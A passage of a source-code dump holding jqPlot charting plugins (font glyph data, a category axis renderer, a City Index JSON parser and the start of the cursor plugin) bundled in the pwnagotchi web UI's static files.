[[9,25],[9,-7],[-1,-1],[10,25],[10,-7],[-1,-1],[3,25],[10,25],[-1,-1],[3,-7],[10,-7]] }, '^': { width: 16, points: [[6,15],[8,18],[10,15],[-1,-1],[3,12],[8,17],[13,12],[-1,-1],[8,17],[8,0]] }, '_': { width: 16, points: [[0,-2],[16,-2]] }, '`': { width: 10, points: [[6,21],[5,20],[4,18],[4,16],[5,15],[6,16],[5,17]] }, 'a': { width: 19, points: [[15,14],[15,0],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'b': { width: 19, points: [[4,21],[4,0],[-1,-1],[4,11],[6,13],[8,14],[11,14],[13,13],[15,11],[16,8],[16,6],[15,3],[13,1],[11,0],[8,0],[6,1],[4,3]] }, 'c': { width: 18, points: [[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'd': { width: 19, points: [[15,21],[15,0],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'e': { width: 18, points: [[3,8],[15,8],[15,10],[14,12],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'f': { width: 12, points: [[10,21],[8,21],[6,20],[5,17],[5,0],[-1,-1],[2,14],[9,14]] }, 'g': { width: 19, points: [[15,14],[15,-2],[14,-5],[13,-6],[11,-7],[8,-7],[6,-6],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'h': { width: 19, points: [[4,21],[4,0],[-1,-1],[4,10],[7,13],[9,14],[12,14],[14,13],[15,10],[15,0]] }, 'i': { width: 8, points: [[3,21],[4,20],[5,21],[4,22],[3,21],[-1,-1],[4,14],[4,0]] }, 'j': { width: 10, points: [[5,21],[6,20],[7,21],[6,22],[5,21],[-1,-1],[6,14],[6,-3],[5,-6],[3,-7],[1,-7]] }, 'k': { width: 17, points: [[4,21],[4,0],[-1,-1],[14,14],[4,4],[-1,-1],[8,8],[15,0]] }, 'l': { width: 8, points: [[4,21],[4,0]] }, 'm': { width: 30, points: [[4,14],[4,0],[-1,-1],[4,10],[7,13],[9,14],[12,14],[14,13],[15,10],[15,0],[-1,-1],[15,10],[18,13],[20,14],[23,14],[25,13],[26,10],[26,0]] }, 'n': { width: 19, points: [[4,14],[4,0],[-1,-1],[4,10],[7,13],[9,14],[12,14],[14,13],[15,10],[15,0]] }, 'o': { width: 19, points: [[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3],[16,6],[16,8],[15,11],[13,13],[11,14],[8,14]] }, 'p': { width: 19, points: [[4,14],[4,-7],[-1,-1],[4,11],[6,13],[8,14],[11,14],[13,13],[15,11],[16,8],[16,6],[15,3],[13,1],[11,0],[8,0],[6,1],[4,3]] }, 'q': { width: 19, points: [[15,14],[15,-7],[-1,-1],[15,11],[13,13],[11,14],[8,14],[6,13],[4,11],[3,8],[3,6],[4,3],[6,1],[8,0],[11,0],[13,1],[15,3]] }, 'r': { width: 13, points: [[4,14],[4,0],[-1,-1],[4,8],[5,11],[7,13],[9,14],[12,14]] }, 's': { width: 17, points: [[14,11],[13,13],[10,14],[7,14],[4,13],[3,11],[4,9],[6,8],[11,7],[13,6],[14,4],[14,3],[13,1],[10,0],[7,0],[4,1],[3,3]] }, 't': { width: 12, points: [[5,21],[5,4],[6,1],[8,0],[10,0],[-1,-1],[2,14],[9,14]] }, 'u': { width: 19, points: [[4,14],[4,4],[5,1],[7,0],[10,0],[12,1],[15,4],[-1,-1],[15,14],[15,0]] }, 'v': { width: 16, points: [[2,14],[8,0],[-1,-1],[14,14],[8,0]] }, 'w': { width: 22, points: [[3,14],[7,0],[-1,-1],[11,14],[7,0],[-1,-1],[11,14],[15,0],[-1,-1],[19,14],[15,0]] }, 'x': { width: 17, points: [[3,14],[14,0],[-1,-1],[14,14],[3,0]] }, 'y': { width: 16, points: [[2,14],[8,0],[-1,-1],[14,14],[8,0],[6,-4],[4,-6],[2,-7],[1,-7]] }, 'z': { width: 17, points: [[14,14],[3,0],[-1,-1],[3,14],[14,14],[-1,-1],[3,0],[14,0]] }, '{': { width: 14, points: [[9,25],[7,24],[6,23],[5,21],[5,19],[6,17],[7,16],[8,14],[8,12],[6,10],[-1,-1],[7,24],[6,22],[6,20],[7,18],[8,17],[9,15],[9,13],[8,11],[4,9],[8,7],[9,5],[9,3],[8,1],[7,0],[6,-2],[6,-4],[7,-6],[-1,-1],[6,8],[8,6],[8,4],[7,2],[6,1],[5,-1],[5,-3],[6,-5],[7,-6],[9,-7]] }, '|': { width: 8, points: [[4,25],[4,-7]] }, '}': { width: 14, points: [[5,25],[7,24],[8,23],[9,21],[9,19],[8,17],[7,16],[6,14],[6,12],[8,10],[-1,-1],[7,24],[8,22],[8,20],[7,18],[6,17],[5,15],[5,13],[6,11],[10,9],[6,7],[5,5],[5,3],[6,1],[7,0],[8,-2],[8,-4],[7,-6],[-1,-1],[8,8],[6,6],[6,4],[7,2],[8,1],[9,-1],[9,-3],[8,-5],[7,-6],[5,-7]] }, '~': { width: 24, points: [[3,6],[3,8],[4,11],[6,12],[8,12],[10,11],[14,8],[16,7],[18,7],[20,8],[21,10],[-1,-1],[3,8],[4,10],[6,11],[8,11],[10,10],[14,7],[16,6],[18,6],[20,7],[21,10],[21,12]] } }; $.jqplot.CanvasFontRenderer = function(options) { options = options || {}; if (!options.pt2px) { options.pt2px = 1.5; } $.jqplot.CanvasTextRenderer.call(this, options); }; $.jqplot.CanvasFontRenderer.prototype = new $.jqplot.CanvasTextRenderer({}); $.jqplot.CanvasFontRenderer.prototype.constructor = $.jqplot.CanvasFontRenderer; $.jqplot.CanvasFontRenderer.prototype.measure = function(ctx, str) { // var fstyle = this.fontStyle+' '+this.fontVariant+' '+this.fontWeight+' '+this.fontSize+' '+this.fontFamily; var fstyle = this.fontSize+' '+this.fontFamily; ctx.save(); ctx.font = fstyle; var w = ctx.measureText(str).width; ctx.restore(); return w; }; $.jqplot.CanvasFontRenderer.prototype.draw = function(ctx, str) { var x = 0; // leave room at bottom for descenders. var y = this.height*0.72; //var y = 12; ctx.save(); var tx, ty; // 1st quadrant if ((-Math.PI/2 <= this.angle && this.angle <= 0) || (Math.PI*3/2 <= this.angle && this.angle <= Math.PI*2)) { tx = 0; ty = -Math.sin(this.angle) * this.width; } // 4th quadrant else if ((0 < this.angle && this.angle <= Math.PI/2) || (-Math.PI*2 <= this.angle && this.angle <= -Math.PI*3/2)) { tx = Math.sin(this.angle) * this.height; ty = 0; } // 2nd quadrant else if ((-Math.PI < this.angle && this.angle < -Math.PI/2) || (Math.PI <= this.angle && this.angle <= Math.PI*3/2)) { tx = -Math.cos(this.angle) * this.width; ty = -Math.sin(this.angle) * this.width - Math.cos(this.angle) * this.height; } // 3rd quadrant else if ((-Math.PI*3/2 < this.angle && this.angle < Math.PI) || (Math.PI/2 < this.angle && this.angle < Math.PI)) { tx = Math.sin(this.angle) * this.height - Math.cos(this.angle)*this.width; ty = -Math.cos(this.angle) * this.height; } ctx.strokeStyle = this.fillStyle; ctx.fillStyle = this.fillStyle; // var fstyle = this.fontStyle+' '+this.fontVariant+' '+this.fontWeight+' '+this.fontSize+' '+this.fontFamily; var fstyle = this.fontSize+' '+this.fontFamily; ctx.font = fstyle; ctx.translate(tx, ty); ctx.rotate(this.angle); ctx.fillText(str, x, y); // ctx.strokeText(str, x, y); ctx.restore(); }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.categoryAxisRenderer.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * class: $.jqplot.CategoryAxisRenderer * A plugin for jqPlot to render a category style axis, with equal pixel spacing between y data values of a series. * * To use this renderer, include the plugin in your source * > <script type="text/javascript" language="javascript" src="plugins/jqplot.categoryAxisRenderer.js"></script> * * and supply the appropriate options to your plot * * > {axes:{xaxis:{renderer:$.jqplot.CategoryAxisRenderer}}} **/ $.jqplot.CategoryAxisRenderer = function(options) { $.jqplot.LinearAxisRenderer.call(this); // prop: sortMergedLabels // True to sort tick labels when labels are created by merging // x axis values from multiple series. That is, say you have // two series like: // > line1 = [[2006, 4], [2008, 9], [2009, 16]]; // > line2 = [[2006, 3], [2007, 7], [2008, 6]]; // If no label array is specified, tick labels will be collected // from the x values of the series. With sortMergedLabels // set to true, tick labels will be: // > [2006, 2007, 2008, 2009] // With sortMergedLabels set to false, tick labels will be: // > [2006, 2008, 2009, 2007] // // Note, this property is specified on the renderOptions for the // axes when creating a plot: // > axes:{xaxis:{renderer:$.jqplot.CategoryAxisRenderer, rendererOptions:{sortMergedLabels:true}}} this.sortMergedLabels = false; }; $.jqplot.CategoryAxisRenderer.prototype = new $.jqplot.LinearAxisRenderer(); $.jqplot.CategoryAxisRenderer.prototype.constructor = $.jqplot.CategoryAxisRenderer; $.jqplot.CategoryAxisRenderer.prototype.init = function(options){ this.groups = 1; this.groupLabels = []; this._groupLabels = []; this._grouped = false; this._barsPerGroup = null; this.reverse = false; // prop: tickRenderer // A class of a rendering engine for creating the ticks labels displayed on the plot, // See <$.jqplot.AxisTickRenderer>. // this.tickRenderer = $.jqplot.AxisTickRenderer; // this.labelRenderer = $.jqplot.AxisLabelRenderer; $.extend(true, this, {tickOptions:{formatString:'%d'}}, options); var db = this._dataBounds; // Go through all the series attached to this axis and find // the min/max bounds for this axis. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; if (s.groups) { this.groups = s.groups; } var d = s.data; for (var j=0; j<d.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { if (d[j][0] < db.min || db.min == null) { db.min = d[j][0]; } if (d[j][0] > db.max || db.max == null) { db.max = d[j][0]; } } else { if (d[j][1] < db.min || db.min == null) { db.min = d[j][1]; } if (d[j][1] > db.max || db.max == null) { db.max = d[j][1]; } } } } if (this.groupLabels.length) { this.groups = this.groupLabels.length; } }; $.jqplot.CategoryAxisRenderer.prototype.createTicks = function() { // we're are operating on an axis here var ticks = this._ticks; var userTicks = this.ticks; var name = this.name; // databounds were set on axis initialization. var db = this._dataBounds; var dim, interval; var min, max; var pos1, pos2; var tt, i; // if we already have ticks, use them. if (userTicks.length) { // adjust with blanks if we have groups if (this.groups > 1 && !this._grouped) { var l = userTicks.length; var skip = parseInt(l/this.groups, 10); var count = 0; for (var i=skip; i<l; i+=skip) { userTicks.splice(i+count, 0, ' '); count++; } this._grouped = true; } this.min = 0.5; this.max = userTicks.length + 0.5; var range = this.max - this.min; this.numberTicks = 2*userTicks.length + 1; for (i=0; i<userTicks.length; i++){ tt = this.min + 2 * i * range / (this.numberTicks-1); // need a marker before and after the tick var t = new this.tickRenderer(this.tickOptions); t.showLabel = false; // t.showMark = true; t.setTick(tt, this.name); this._ticks.push(t); var t = new this.tickRenderer(this.tickOptions); t.label = userTicks[i]; // t.showLabel = true; t.showMark = false; t.showGridline = false; t.setTick(tt+0.5, this.name); this._ticks.push(t); } // now add the last tick at the end var t = new this.tickRenderer(this.tickOptions); t.showLabel = false; // t.showMark = true; t.setTick(tt+1, this.name); this._ticks.push(t); } // we don't have any ticks yet, let's make some! else { if (name == 'xaxis' || name == 'x2axis') { dim = this._plotDimensions.width; } else { dim = this._plotDimensions.height; } // if min, max and number of ticks specified, user can't specify interval. if (this.min != null && this.max != null && this.numberTicks != null) { this.tickInterval = null; } // if max, min, and interval specified and interval won't fit, ignore interval. if (this.min != null && this.max != null && this.tickInterval != null) { if (parseInt((this.max-this.min)/this.tickInterval, 10) != (this.max-this.min)/this.tickInterval) { this.tickInterval = null; } } // find out how many categories are in the lines and collect labels var labels = []; var numcats = 0; var min = 0.5; var max, val; var isMerged = false; for (var i=0; i<this._series.length; i++) { var s = this._series[i]; for (var j=0; j<s.data.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { val = s.data[j][0]; } else { val = s.data[j][1]; } if ($.inArray(val, labels) == -1) { isMerged = true; numcats += 1; labels.push(val); } } } if (isMerged && this.sortMergedLabels) { if (typeof labels[0] == "string") { labels.sort(); } else { labels.sort(function(a,b) { return a - b; }); } } // keep a reference to these tick labels to use for redrawing plot (see bug #57) this.ticks = labels; // now bin the data values to the right lables. for (var i=0; i<this._series.length; i++) { var s = this._series[i]; for (var j=0; j<s.data.length; j++) { if (this.name == 'xaxis' || this.name == 'x2axis') { val = s.data[j][0]; } else { val = s.data[j][1]; } // for category axis, force the values into category bins. // we should have the value in the label array now. var idx = $.inArray(val, labels)+1; if (this.name == 'xaxis' || this.name == 'x2axis') { s.data[j][0] = idx; } else { s.data[j][1] = idx; } } } // adjust with blanks if we have groups if (this.groups > 1 && !this._grouped) { var l = labels.length; var skip = parseInt(l/this.groups, 10); var count = 0; for (var i=skip; i<l; i+=skip+1) { labels[i] = ' '; } this._grouped = true; } max = numcats + 0.5; if (this.numberTicks == null) { this.numberTicks = 2*numcats + 1; } var range = max - min; this.min = min; this.max = max; var track = 0; // todo: adjust this so more ticks displayed. var maxVisibleTicks = parseInt(3+dim/10, 10); var skip = parseInt(numcats/maxVisibleTicks, 10); if (this.tickInterval == null) { this.tickInterval = range / (this.numberTicks-1); } // if tickInterval is specified, we will ignore any computed maximum. for (var i=0; i<this.numberTicks; i++){ tt = this.min + i * this.tickInterval; var t = new this.tickRenderer(this.tickOptions); // if even tick, it isn't a category, it's a divider if (i/2 == parseInt(i/2, 10)) { t.showLabel = false; t.showMark = true; } else { if (skip>0 && track<skip) { t.showLabel = false; track += 1; } else { t.showLabel = true; track = 0; } t.label = t.formatter(t.formatString, labels[(i-1)/2]); t.showMark = false; t.showGridline = false; } t.setTick(tt, this.name); this._ticks.push(t); } } }; // called with scope of axis $.jqplot.CategoryAxisRenderer.prototype.draw = function(ctx, plot) { if (this.show) { // populate the axis label and value properties. // createTicks is a method on the renderer, but // call it within the scope of the axis. this.renderer.createTicks.call(this); // fill a div with axes labels in the right direction. // Need to pregenerate each axis to get its bounds and // position it and the labels correctly on the plot. var dim=0; var temp; // Added for theming. if (this._elem) { // this._elem.empty(); // Memory Leaks patch this._elem.emptyForce(); } this._elem = this._elem || $('<div class="jqplot-axis jqplot-'+this.name+'" style="position:absolute;"></div>'); if (this.name == 'xaxis' || this.name == 'x2axis') { this._elem.width(this._plotDimensions.width); } else { this._elem.height(this._plotDimensions.height); } // create a _label object. this.labelOptions.axis = this.name; this._label = new this.labelRenderer(this.labelOptions); if (this._label.show) { var elem = this._label.draw(ctx, plot); elem.appendTo(this._elem); } var t = this._ticks; for (var i=0; i<t.length; i++) { var tick = t[i]; if (tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { var elem = tick.draw(ctx, plot); elem.appendTo(this._elem); } } this._groupLabels = []; // now make group labels for (var i=0; i<this.groupLabels.length; i++) { var elem = $('<div style="position:absolute;" class="jqplot-'+this.name+'-groupLabel"></div>'); elem.html(this.groupLabels[i]); this._groupLabels.push(elem); elem.appendTo(this._elem); } } return this._elem; }; // called with scope of axis $.jqplot.CategoryAxisRenderer.prototype.set = function() { var dim = 0; var temp; var w = 0; var h = 0; var lshow = (this._label == null) ? false : this._label.show; if (this.show) { var t = this._ticks; for (var i=0; i<t.length; i++) { var tick = t[i]; if (tick.showLabel && (!tick.isMinorTick || this.showMinorTicks)) { if (this.name == 'xaxis' || this.name == 'x2axis') { temp = tick._elem.outerHeight(true); } else { temp = tick._elem.outerWidth(true); } if (temp > dim) { dim = temp; } } } var dim2 = 0; for (var i=0; i<this._groupLabels.length; i++) { var l = this._groupLabels[i]; if (this.name == 'xaxis' || this.name == 'x2axis') { temp = l.outerHeight(true); } else { temp = l.outerWidth(true); } if (temp > dim2) { dim2 = temp; } } if (lshow) { w = this._label._elem.outerWidth(true); h = this._label._elem.outerHeight(true); } if (this.name == 'xaxis') { dim += dim2 + h; this._elem.css({'height':dim+'px', left:'0px', bottom:'0px'}); } else if (this.name == 'x2axis') { dim += dim2 + h; this._elem.css({'height':dim+'px', left:'0px', top:'0px'}); } else if (this.name == 'yaxis') { dim += dim2 + w; this._elem.css({'width':dim+'px', left:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } else { dim += dim2 + w; this._elem.css({'width':dim+'px', right:'0px', top:'0px'}); if (lshow && this._label.constructor == $.jqplot.AxisLabelRenderer) { this._label._elem.css('width', w+'px'); } } } }; // called with scope of axis $.jqplot.CategoryAxisRenderer.prototype.pack = function(pos, offsets) { var ticks = this._ticks; var max = this.max; var min = this.min; var offmax = offsets.max; var offmin = offsets.min; var lshow = (this._label == null) ? false : this._label.show; var i; for (var p in pos) { this._elem.css(p, pos[p]); } this._offsets = offsets; // pixellength will be + for x axes and - for y axes becasue pixels always measured from top left. var pixellength = offmax - offmin; var unitlength = max - min; if (!this.reverse) { // point to unit and unit to point conversions references to Plot DOM element top left corner. this.u2p = function(u){ return (u - min) * pixellength / unitlength + offmin; }; this.p2u = function(p){ return (p - offmin) * unitlength / pixellength + min; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (u - min) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } else { this.series_u2p = function(u){ return (u - max) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } } else { // point to unit and unit to point conversions references to Plot DOM element top left corner. this.u2p = function(u){ return offmin + (max - u) * pixellength / unitlength; }; this.p2u = function(p){ return min + (p - offmin) * unitlength / pixellength; }; if (this.name == 'xaxis' || this.name == 'x2axis'){ this.series_u2p = function(u){ return (max - u) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + max; }; } else { this.series_u2p = function(u){ return (min - u) * pixellength / unitlength; }; this.series_p2u = function(p){ return p * unitlength / pixellength + min; }; } } if (this.show) { if (this.name == 'xaxis' || this.name == 'x2axis') { for (i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'xaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end if (temp * t.angle < 0) { shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; } // position at start else { shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; } break; case 'end': shim = -t.getWidth() + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; case 'start': shim = -t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; break; case 'middle': shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; default: shim = -t.getWidth()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; break; } } else { shim = -t.getWidth()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('left', val); t.pack(); } } var labeledge=['bottom', 0]; if (lshow) { var w = this._label._elem.outerWidth(true); this._label._elem.css('left', offmin + pixellength/2 - w/2 + 'px'); if (this.name == 'xaxis') { this._label._elem.css('bottom', '0px'); labeledge = ['bottom', this._label._elem.outerHeight(true)]; } else { this._label._elem.css('top', '0px'); labeledge = ['top', this._label._elem.outerHeight(true)]; } this._label.pack(); } // draw the group labels var step = parseInt(this._ticks.length/this.groups, 10) + 1; for (i=0; i<this._groupLabels.length; i++) { var mid = 0; var count = 0; for (var j=i*step; j<(i+1)*step; j++) { if (j >= this._ticks.length-1) continue; // the last tick does not exist as there is no other group in order to have an empty one. if (this._ticks[j]._elem && this._ticks[j].label != " ") { var t = this._ticks[j]._elem; var p = t.position(); mid += p.left + t.outerWidth(true)/2; count++; } } mid = mid/count; this._groupLabels[i].css({'left':(mid - this._groupLabels[i].outerWidth(true)/2)}); this._groupLabels[i].css(labeledge[0], labeledge[1]); } } else { for (i=0; i<ticks.length; i++) { var t = ticks[i]; if (t.show && t.showLabel) { var shim; if (t.constructor == $.jqplot.CanvasAxisTickRenderer && t.angle) { // will need to adjust auto positioning based on which axis this is. var temp = (this.name == 'yaxis') ? 1 : -1; switch (t.labelPosition) { case 'auto': // position at end case 'end': if (temp * t.angle < 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'start': if (t.angle > 0) { shim = -t._textRenderer.height * Math.cos(-t._textRenderer.angle) / 2; } else { shim = -t.getHeight() + t._textRenderer.height * Math.cos(t._textRenderer.angle) / 2; } break; case 'middle': // if (t.angle > 0) { // shim = -t.getHeight()/2 + t._textRenderer.height * Math.sin(-t._textRenderer.angle) / 2; // } // else { // shim = -t.getHeight()/2 - t._textRenderer.height * Math.sin(t._textRenderer.angle) / 2; // } shim = -t.getHeight()/2; break; default: shim = -t.getHeight()/2; break; } } else { shim = -t.getHeight()/2; } var val = this.u2p(t.value) + shim + 'px'; t._elem.css('top', val); t.pack(); } } var labeledge=['left', 0]; if (lshow) { var h = this._label._elem.outerHeight(true); this._label._elem.css('top', offmax - pixellength/2 - h/2 + 'px'); if (this.name == 'yaxis') { this._label._elem.css('left', '0px'); labeledge = ['left', this._label._elem.outerWidth(true)]; } else { this._label._elem.css('right', '0px'); labeledge = ['right', this._label._elem.outerWidth(true)]; } this._label.pack(); } // draw the group labels, position top here, do left after label position. var step = parseInt(this._ticks.length/this.groups, 10) + 1; // step is one more than before as we don't want to have overlaps in loops for (i=0; i<this._groupLabels.length; i++) { var mid = 0; var count = 0; for (var j=i*step; j<(i+1)*step; j++) { // j must never reach (i+1)*step as we don't want to have overlap between loops if (j >= this._ticks.length-1) continue; // the last tick does not exist as there is no other group in order to have an empty one. if (this._ticks[j]._elem && this._ticks[j].label != " ") { var t = this._ticks[j]._elem; var p = t.position(); mid += p.top + t.outerHeight()/2; count++; } } mid = mid/count; this._groupLabels[i].css({'top':mid - this._groupLabels[i].outerHeight()/2}); this._groupLabels[i].css(labeledge[0], labeledge[1]); } } } }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.ciParser.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.ciParser * Data Renderer function which converts a custom JSON data object into jqPlot data format. * Set this as a callable on the jqplot dataRenderer plot option: * * > plot = $.jqplot('mychart', [data], { dataRenderer: $.jqplot.ciParser, ... }); * * Where data is an object in JSON format or a JSON encoded string conforming to the * City Index API spec. * * Note that calling the renderer function is handled internally by jqPlot. The * user does not have to call the function. The parameters described below will * automatically be passed to the ciParser function. * * Parameters: * data - JSON encoded string or object. * plot - reference to jqPlot Plot object. * * Returns: * data array in jqPlot format. * */ $.jqplot.ciParser = function (data, plot) { var ret = [], line, temp, i, j, k, kk; if (typeof(data) == "string") { data = $.jqplot.JSON.parse(data, handleStrings); } else if (typeof(data) == "object") { for (k in data) { for (i=0; i<data[k].length; i++) { for (kk in data[k][i]) { data[k][i][kk] = handleStrings(kk, data[k][i][kk]); } } } } else { return null; } // function handleStrings // Checks any JSON encoded strings to see if they are // encoded dates. If so, pull out the timestamp. // Expects dates to be represented by js timestamps. function handleStrings(key, value) { var a; if (value != null) { if (value.toString().indexOf('Date') >= 0) { //here we will try to extract the ticks from the Date string in the "value" fields of JSON returned data a = /^\/Date\((-?[0-9]+)\)\/$/.exec(value); if (a) { return parseInt(a[1], 10); } } return value; } } for (var prop in data) { line = []; temp = data[prop]; switch (prop) { case "PriceTicks": for (i=0; i<temp.length; i++) { line.push([temp[i]['TickDate'], temp[i]['Price']]); } break; case "PriceBars": for (i=0; i<temp.length; i++) { line.push([temp[i]['BarDate'], temp[i]['Open'], temp[i]['High'], temp[i]['Low'], temp[i]['Close']]); } break; } ret.push(line); } return ret; }; })(jQuery); ================================================ FILE: pwnagotchi/ui/web/static/js/plugins/jqplot.cursor.js ================================================ /** * jqPlot * Pure JavaScript plotting plugin using jQuery * * Version: 1.0.9 * Revision: d96a669 * * Copyright (c) 2009-2016 Chris Leonello * jqPlot is currently available for use in all personal or commercial projects * under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL * version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can * choose the license that best suits your project and use it accordingly. * * Although not required, the author would appreciate an email letting him * know of any substantial use of jqPlot. You can reach the author at: * chris at jqplot dot com or see http://www.jqplot.com/info.php . * * If you are feeling kind and generous, consider supporting the project by * making a donation at: http://www.jqplot.com/donate.php . * * sprintf functions contained in jqplot.sprintf.js by Ash Searle: * * version 2007.04.27 * author Ash Searle * http://hexmen.com/blog/2007/03/printf-sprintf/ * http://hexmen.com/js/sprintf.js * The author (Ash Searle) has placed this code in the public domain: * "This code is unrestricted: you are free to use it however you like." * */ (function($) { /** * Class: $.jqplot.Cursor * Plugin class representing the cursor as displayed on the plot. */ $.jqplot.Cursor = function(options) { // Group: Properties // // prop: style // CSS spec for cursor style this.style = 'crosshair'; this.previousCursor = 'auto'; // prop: show // whether to show the cursor or not. this.show = $.jqplot.config.enablePlugins; // prop: showTooltip // show a cursor position tooltip. Location of the tooltip // will be controlled by followMouse and tooltipLocation. this.showTooltip = true; // prop: followMouse // Tooltip follows the mouse, it is not at a fixed location. // Tooltip will show on the grid at the location given by // tooltipLocation, offset from the grid edge by tooltipOffset. this.followMouse = false; // prop: tooltipLocation // Where to position tooltip. If followMouse is true, this is // relative to the cursor, otherwise, it is relative to the grid. // One of 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw' this.tooltipLocation = 'se'; // prop: tooltipOffset // Pixel offset of tooltip from the grid boudaries or cursor center. this.tooltipOffset = 6; // prop: showTooltipGridPosition // show the grid pixel coordinates of the mouse. this.showTooltipGridPosition = false; // prop: showTooltipUnitPosition // show the unit (data) coordinates of the mouse. this.showTooltipUnitPosition = true; // prop: showTooltipDataPosition // Used with showVerticalLine to show intersecting data points in the tooltip. this.showTooltipDataPosition = false; // prop: tooltipFormatString // sprintf format string for the tooltip. // Uses Ash Searle's javascript sprintf implementation // found here: http://hexmen.com/blog/2007/03/printf-sprintf/ // See http://perldoc.perl.org/functions/sprintf.html for reference // Note, if showTooltipDataPosition is true, the default tooltipFormatString // will be set to the cursorLegendFormatString, not the default given here. this.tooltipFormatString = '%.4P, %.4P'; // prop: useAxesFormatters // Use the x and y axes formatters to format the text in the tooltip. this.useAxesFormatters = true; // prop: tooltipAxisGroups // Show position for the specified axes. // This is an array like [['xaxis', 'yaxis'], ['xaxis', 'y2axis']] // Default is to compute automatically for all visible axes. this.tooltipAxisGroups = []; // prop: zoom // Enable plot zooming. this.zoom = false; // zoomProxy and zoomTarget properties are not directly set by user. // They Will be set through call to zoomProxy method. this.zoomProxy = false; this.zoomTarget = false; // prop: looseZoom // Will expand zoom range to provide more rounded tick values. // Works only with linear, log and date axes. this.looseZoom = true; // prop: clickReset // Will reset plot zoom if single click on plot without drag. this.clickReset = false; // prop: dblClickReset // Will reset plot zoom if double click on plot without drag. this.dblClickReset = true; // prop: showVerticalLine // draw a vertical line across the plot which follows the cursor. // When the line is near a data point, a special legend and/or tooltip can // be updated with the data values. this.showVerticalLine = false; // prop: showHorizontalLine // draw a horizontal line across the plot which follows the cursor. this.showHorizontalLine = false; // prop: constrainZoomTo // 'none', 'x' or 'y' this.constrainZoomTo = 'none'; // // prop: autoscaleConstraint // // when a constrained axis is specified, true will // // auatoscale the adjacent axis. // this.autoscaleConstraint = true; this.shapeRenderer = new $.jqplot.ShapeRenderer(); this._zoom = {start:[], end:[], started: false, zooming:false, isZoomed:false, axes:{start:{}, end:{}}, gridpos:{}, datapos:{}}; this._tooltipElem; this.zoomCanvas; this.cursorCanvas; // prop: intersectionThreshold // pixel distance from data point or marker to consider cursor lines intersecting with point. // If data point markers 